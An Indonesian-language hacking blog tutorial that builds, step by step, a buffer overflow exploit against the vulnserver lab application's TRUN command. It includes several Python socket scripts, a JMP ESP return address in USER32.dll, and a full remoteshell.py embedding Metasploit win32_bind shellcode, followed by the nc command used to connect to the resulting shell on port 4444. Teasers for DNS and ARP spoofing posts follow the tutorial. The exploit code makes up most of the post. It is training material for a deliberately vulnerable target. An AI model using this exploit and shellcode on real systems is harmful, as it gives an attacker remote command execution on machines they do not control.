Langsung ke konten utama

Remote Shell Memanfaatkan Buffer Overflow Exploitation

Pada artikel Belajar Metode Fuzzing dengan SPIKE - Automasi Fuzzing, kita telah mengetahui bug  pada aplikasi vulnserver dengan mentode fuzzing. Salah satu bug pada aplikasi tersebut adalah ketika kita mengirimkan perintah TRUN dan diikuti karakter-karakter tertentu yang pada akhirnya mengakibatkan vulnserver mengalami crash atau access violation.

Menurut Mati Aharoni (founder Backtrack), sebelum melakukan exploit terhadap bugs dari buffer overflow exploitation kita harus mempelajari bagaimana aplikasi tersebut mengalami crash dan memahaminya dengan lebih baik. Ada beberapa pertanyaan yang perlu dijawab:


  • 4 byte yang mana sebagai penyebab terjadinya perubahan data pada EIP?
  • Apakah kita masih memiliki ruang pada buffer untuk menyisipkan shellcode kita?
  • Apakah shellcode di dalam memori tersebut mudah diakses oleh kita?
  • Apakah aplikasi tersebut melakukan filterisasi terhadap karakter tertentu?
  • Apakah kita menemui mekanisme perlindungan aplikasi dari Overflow exploitation?
1. Identifikasi nilai EIP

Pada artikel sebelumnya, kita telah memperoleh kesimpulan aplikasi vulnserver akan mengalami crash saat kita mengirimkan perintah TRUN dengan diikuti karakter \.:\ dan karakter A sebanyak 5000 buah. Tentunya kita akan mengalami kesulitan di byte berapa error tersebut terjadi. 

Untuk memudahkan kita dalam melakukan pendeteksian byte keberapa sebagai penyebab error tersebut, kita dapat mengirimkan karakter-karakter unik dengan memanfaatkan skrip buftool.py . 



Lalu buat sebuah file python untuk sebagai trigger untuk membuat aplikasi vulnserver mengalami crash berdasarkan ujicoba fuzzing sebelumnya dan simpan file tersebut dengan nama trigger.py

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'TRUN /.:/' + '(karakter buffer hasil dari buftool.py)'

print "\nSending evil buffer....\n"

s.connect(('192.168.136.1', 9999))
data = s.recv(1024)
s.send(buffer)
s.close()

Jalankan skrip di atas, jangan lupa sebelumnya Anda sudah menjalankan aplikasi vulnserver menggunakan OllyDbg. Maka pada aplikasi OllyDbg akan tampak seperti berikut:


Dari gambar di atas dapat kita ambil kesimpulan bahwa aplikasi vulnserver mengalami crash setelah mengeksekusi byte dengan hexadecimal "386F4337" atau jika dikonversi ke ASCII adalah karakter "7Co8". Sedangkan karakter "7Co8" terletak pada karakter ke 2004 sampai 2007. 

Jika pada aplikasi OllyDbg Anda tidak tampak kode ASCII, cukup dengan klik kanan pada bagian yang di blok hitam, dan pilih "Show ASCII dump"

Dengan informasi tersebut, kita lakukan perubahan pada skrip sebelumnya dan simpan dengan nama trigger2.py

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'TRUN /.:/' + '\x41' * 2003 + '\x42' * 4 + '\x43' * 2993

print "\nSending evil buffer....\n"

s.connect(('192.168.136.1', 9999))
data = s.recv(1024)
s.send(buffer)
s.close()

Jalankan skrip diatas, maka dengan hasil OllyDbg seperti gambar di bawah, dapat kita pastikan byte yang mana kita dapat menyisipkan shellcode exploit yang akan kita sisipkan.



2. Menentukan ukuran / space lokasi kode shellcode exploit

Sebelum menyisipkan kode shellcode exploit, kita harus menentukan ukuran lokasi / space yang tersedia untuk dilakukan penyisipan shellcode. Caranya, pada blok ESP yang crash, klik kanan lalu Follow in Dump.


Dari hasil di atas, terlihat sebelum blok "00B7FA0C" terdiri dari 2003 karakter huruf A dan 4 karakter huruf B. Dan kita juga mengetahui tempat dimana kita dapat meletakkan shellcode exploit kita. 



Sekarang kita perlu pastikan apakah kita memiliki space yang cukup untuk meletakkan shellcode exploit. Perhatikan gambar berikut:


Jika Anda terus mengikuti dump hingga menemukan blok yang tidak menampilkan kode ASCII dengan karakter C, maka Anda akan menemukan blok hexadecimal "00B7FDDC". Maka kalkulasi space yang dapat kita peroleh adalah 00B7FDDC - 00B7FA0C maka didapat hasil 3d8 atau 984 decimal atau 984 byte. Untuk ukuran space sebesar itu sudah cukup untuk menampung isi shellcode exploit apa saja.

3. Temukan path ke JMP

Apa itu JMP? Penjelasannya kasarnya yaitu, kita menentukan path dimana program ketika crash terjadi, program akan langsung menjalankan shellcode exploit yang kita sisipkan.

Masih pada aplikasi OllyDbg, klik menu "View - Executable modules", dan klik dua kali USER32.dll, kemudian pada module USER32.dll, klik kanan mouse anda dan search for - command dengan kata kunci JMP ESP.


Akhirnya kita menemukan bahwa alamat command JMP ESP ada di 7E429353. Kita akan mengganti karakter BBBB atau "\x42\x42\x42\x42" pada skrip sebelumnya menjadi  alamat JMP ESP tersebut menjadi "\x53\x93\x42\x7E". Sehingga nilai EIP saat vulserver crash akan langsung jump ke command JMP ESP dan menjalankan shellcode.

Coba lakukan modifikasi pada skrip sebelumnya seperti berikut:

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

ret = "\x53\x93\x42\x7E" # 7E429353 JMP ESP USER32.dll

buffer = 'TRUN /.:/' + '\x41' * 2003 + ret + '\x43' * 2993

print "\nSending evil buffer....\n"

s.connect(('192.168.136.1', 9999))
data = s.recv(1024)
s.send(buffer)
s.close()

dan setelah dijalankan, pada aplikasi OllyDbg akan mucul seperti berikut:



4. Sisipkan Shellcode exploit

Modifikasi lagi skrip sebelumnya menjadi seperti berikut dan simpan dengan nama file remoteshell.py :


#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

shellcode = ("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c"
"\x24\x24\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01"
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f"
"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb"
"\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64"
"\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53"
"\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0"
"\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66"
"\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53"
"\x43\x53\xff\xd0\x66\x68\x11\x5c\x66\x53\x89\xe1"
"\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51"
"\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50"
"\x54\x54\x55\xff\xd0\x93\x68\xe7\x79\xc6\x79\x57"
"\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d"
"\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93"
"\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff"
"\x75\x44\xff\xd6\x5b\x57\x52\x51\x51\x51\x6a\x01"
"\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83"
"\xc4\x64\xff\xd6\x52\xff\xd0\x68\x7e\xd8\xe2\x73"
"\x53\xff\xd6\xff\xd0")

ret = "\x53\x93\x42\x7E" # 7E429353 JMP ESP USER32.dll

buffer = 'TRUN /.:/' + '\x41' * 2003 + ret + shellcode

print "\nSending evil buffer....\n"

s.connect(('192.168.136.1', 9999))
data = s.recv(1024)
s.send(buffer)
s.close()


Jalankan skrip diatas, dan kemudian ketikkan sintaks pada konsol

nc -v 192.168.136.1 4444

dan lihat hasilnya seperti apa.


Mungkin ada yang bertanya isi shellcode dari skrip remoteshell.py itu datangnya dari mana. Kode tersebut penulis dapatkan dari payload metasploit framework 2 dengan nama payload win32_bind.

Pada saat artikel ini di susun, saya belum menemukan pengganti shellcode tersebut ketika menggunakan metasploit framework 3. Atau mungkin ada teman-teman yang bisa kirimkan ke saya shellcode payload exploit pada metasploit framework 3?

Untuk memperoleh shellcode dari payload win32_bind, lakukan cd ke /pentest/exploits/framework2 dan kemudian ketik perintah ./msfpayload win32_bind C

Selamat mencoba :)




Komentar

admin mengatakan…
shear gan...

coba cek di blog milik master / suhu saya..

www.double-dragon.blogspot.com
admin mengatakan…
shear gan...

coba cek diblog master / suhu saya...

www.double-dragon.blogspot.com

Postingan populer dari blog ini

DNS Spoofing

DNS Spoofing adalah salah satu metode hacking Man In The Middle Attack (MITM). Hampir sama konsepnya dengan ARP Spoofing, tapi yang membedakan adalah Attacker akan memalsukan alamat IP dari sebuah domain. DNS adalah Domain Name Server, yaitu server yang digunakan untuk mengetahui IP Address suatu host lewat host name-nya. Dalam dunia internet, komputer berkomunikasi satu sama lain dengan mengenali IP Address-nya. Namun bagi manusia tidak mungkin menghafalkan IP address tersebut, manusia lebih mudah menghapalkan kata-kata seperti www.yahoo.com, www.google.com, atau www.facebook.com. DNS berfungsi untuk mengkonversi nama yang bisa terbaca oleh manusia ke dalam IP addresshost yang bersangkutan untuk dihubungi. Jadi ketika target melakukan request terhadap sebuah alamat domain dengan alamat IP A, dengan DNS Spoofing, oleh gateway request user tersebut akan di forward ke alamat IP palsu dari attacker. Oke, saatnya kita kita mencoba melakukan DNS Spoofing dengan menggunakan aplikasi

ARP Spoofing (Soft Way)

Jika artikel saya sebelumnya mencoba menjelaskan langkah-langkah melakukan ARP Spoofing dengan cara konvensional tanpa bantuan tools khusus (istilah lebay nya hard way ), kali ini saya akan mencoba lagi berbagi cara melakukan ARP Spoofing dengan menggunakan tool ARP Spoofing yaitu Ettercap. ARP Spoofing adalah sebuah teknik penyadapan oleh pihak ketiga yang dilakukan dalam sebuah jaringan LAN. Dengan metode tersebut,  attacker  dapat menyadap transmisi, modifikasi trafik, hingga menghentikan trafik komunikasi antar dua mesin yang terhubung dalam satu jaringan lokal (LAN).